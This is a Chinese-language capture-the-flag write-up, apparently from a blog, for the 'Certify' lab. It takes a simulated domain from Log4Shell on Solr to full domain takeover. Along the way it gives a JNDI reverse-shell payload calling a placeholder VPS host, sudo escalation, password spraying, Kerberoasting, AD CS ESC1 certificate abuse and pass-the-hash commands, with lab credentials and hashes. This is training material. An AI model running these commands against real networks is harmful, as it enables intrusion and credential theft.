春秋云境 Certify

Certify是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

前置知识:

内网渗透学习(代理篇)
linux提权笔记
域渗透学习(Credentials篇)
域渗透学习(Kerberos篇)
域渗透学习(Certificate Services篇)
域渗透学习(NTLM篇)


入口(172.22.9.19)

fscan

入口是一个 solr 8.11.0 服务,但是获取不到 core 名称

1
2
3
4
5
6
7
8
9
10
//  /solr/admin/cores?action=STATUS
// /solr/admin/cores:/admin/info/key?indexInfo=false&wt=json

{
"responseHeader":{
"status":0,
"QTime":32},
"initFailures":{},
"status":{}
}

但是在依赖中可以发现有 log4j

1
-Dlog4j.configurationFile=/var/solr/log4j2.xml

vps上启一个服务

1
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPS_IP

反弹shell

1
/solr/admin/collections?action=${jndi:ldap://VPS_IP:1389/Basic/ReverseShell/VPS_IP/6666}

低权限账户,sudo -l发现一个可利用的命令

gtfobins 查找用法

第一个flag

内网

1
2
3
4
5
6
7
8
9
10
11
12
13
14
solr@ubuntu:/tmp/z$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:16:3e:16:de:72 brd ff:ff:ff:ff:ff:ff
inet 172.22.9.19/16 brd 172.22.255.255 scope global dynamic eth0
valid_lft 1892157989sec preferred_lft 1892157989sec
inet6 fe80::216:3eff:fe16:de72/64 scope link
valid_lft forever preferred_lft forever

wget传入工具

fscan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
solr@ubuntu:/tmp/z$ sudo grc ./fscan -h 172.22.9.0/24
sudo grc ./fscan -h 172.22.9.0/24

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.9.7 is alive
(icmp) Target 172.22.9.19 is alive
(icmp) Target 172.22.9.26 is alive
(icmp) Target 172.22.9.47 is alive
[*] Icmp alive hosts len is: 4
172.22.9.47:21 open
172.22.9.19:22 open
172.22.9.7:88 open
172.22.9.26:445 open
172.22.9.47:445 open
172.22.9.7:445 open
172.22.9.47:139 open
172.22.9.26:139 open
172.22.9.7:139 open
172.22.9.26:135 open
172.22.9.7:135 open
172.22.9.47:80 open
172.22.9.19:8983 open
172.22.9.7:80 open
172.22.9.47:22 open
172.22.9.19:80 open
[*] alive ports len is: 16
start vulscan
[*] NetInfo
[*]172.22.9.26
[->]DESKTOP-CBKTVMO
[->]172.22.9.26
[*] WebTitle http://172.22.9.19 code:200 len:612 title:Welcome to nginx!
[*] WebTitle http://172.22.9.7 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.9.47 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works
[*] NetBios 172.22.9.47 fileserver Windows 6.1
[*] NetInfo
[*]172.22.9.7
[->]XIAORANG-DC
[->]172.22.9.7
[*] NetBios 172.22.9.7 [+] DC:XIAORANG\XIAORANG-DC
[*] NetBios 172.22.9.26 DESKTOP-CBKTVMO.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] OsInfo 172.22.9.47 (Windows 6.1)
[*] WebTitle http://172.22.9.19:8983 code:302 len:0 title:None 跳转url: http://172.22.9.19:8983/solr/
[+] PocScan http://172.22.9.7 poc-yaml-active-directory-certsrv-detect
[*] WebTitle http://172.22.9.19:8983/solr/ code:200 len:16555 title:Solr Admin
已完成 16/16
[*] 扫描结束,耗时: 1m4.529856368s
1
2
3
4
172.22.9.7 XIAORANG-DC
172.22.9.19 solr
172.22.9.26 DESKTOP-CBKTVMO
172.22.9.47 fileserver

建立代理

1
nohup ./iox proxy -l 6666 &

fileserver(172.22.9.47)

根据题目的提示 SMB,加上这个名字 fileserver,加上445 open

尝试用 Impacket 的 smbclient 进行交互

把文件都下载下来,甚至还有一篇关于 AD CS 安全研究 的 pdf

flag2在secret目录中

1
2
3
4
5
6
7
8
9
10
11
12
 ________  _______   ________  _________  ___  ________ ___    ___ 
|\ ____\|\ ___ \ |\ __ \|\___ ___\\ \|\ _____\\ \ / /|
\ \ \___|\ \ __/|\ \ \|\ \|___ \ \_\ \ \ \ \__/\ \ \/ / /
\ \ \ \ \ \_|/_\ \ _ _\ \ \ \ \ \ \ \ __\\ \ / /
\ \ \____\ \ \_|\ \ \ \\ \| \ \ \ \ \ \ \ \_| \/ / /
\ \_______\ \_______\ \__\\ _\ \ \__\ \ \__\ \__\__/ / /
\|_______|\|_______|\|__|\|__| \|__| \|__|\|__|\___/ /
\|___|/

flag02: flag{7947fe3e-fa9f-4e55-a47e-ce9b1704b7b4}

Yes, you have enumerated smb. But do you know what an SPN is?

db中有多个表

有密码字段,缺失了用户名

把用户名和密码提取出来

进行密码喷洒

1
proxychains4 -q nxc rdp 172.22.9.26 -u user.txt -p pass.txt

跑出来两组账号密码

1
2
xiaorang.lab\zhangjian:i9XDE02pLVf
xiaorang.lab\liupeng:fiAzGwEMgTY

但是 rdp 都登不上去,结合提示 But do you know what an SPN is?,查找 spn

1
python GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

得到了 chenchen 和 zhangxia 的密码哈希,hashcat 爆一下

1
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt --force

得到另外两组账号密码

1
2
zhangxia:MyPass2@@6
chenchen:@Passw0rd@

DESKTOP-CBKTVMO(172.22.9.26)

这两个账号可以登录上 172.22.9.26,但是没有权限查看flag

结合标题和fileserver里的pdf,使用 certipy 查找证书服务

1
proxychains4 certipy-ad find -u zhangxia@xiaorang.lab -p MyPass2@@6 -dc-ip 172.22.9.7 -vulnerable -stdout

存在 ESC1 证书模板配置问题

伪造身份申请证书,并请求 TGT,获取 NTLM Hash

1
2
3
proxychains4 certipy-ad req -u zhangxia@xiaorang.lab -p MyPass2@@6 -target 172.22.9.7 -ca xiaorang-XIAORANG-DC-CA -template "XR Manager" -upn administrator@xiaorang.lab

proxychains4 certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.9.7

获取到 hash

1
[*] Got hash for 'administrator@xiaorang.lab': aad3b435b51404eeaad3b435b51404ee:2f1b57eefb2d152196836b0516abea80

pth 即可

1
proxychains4 impacket-smbexec xiaorang.lab/administrator@172.22.9.26 -hashes :2f1b57eefb2d152196836b0516abea80

XIAORANG-DC(172.22.9.7)

dc 也是一样 pth

1
proxychains4 impacket-smbexec xiaorang.lab/administrator@172.22.9.7 -hashes :2f1b57eefb2d152196836b0516abea80


春秋云境 Certify
https://www.dr0n.top/posts/a12d2be3/
作者
dr0n
发布于
2026年5月26日
更新于
2026年5月26日
许可协议